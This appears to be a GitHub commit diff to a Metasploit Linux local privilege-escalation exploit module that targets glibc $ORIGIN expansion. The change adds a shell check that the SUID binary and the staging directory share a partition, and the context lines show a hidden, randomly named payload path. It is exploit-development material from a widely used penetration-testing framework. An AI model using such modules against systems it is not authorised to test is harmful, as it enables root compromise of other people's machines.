We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 9e11632 commit 45249d5Copy full SHA for 45249d5
modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb
@@ -130,6 +130,14 @@ def exploit
130
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
131
end
132
133
+ suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
134
+ base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
135
+ if suid_partition == base_partition
136
+ vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
137
+ else
138
+ print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
139
+ end
140
+
141
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
142
payload_path = "#{base_dir}/#{payload_name}"
143
0 commit comments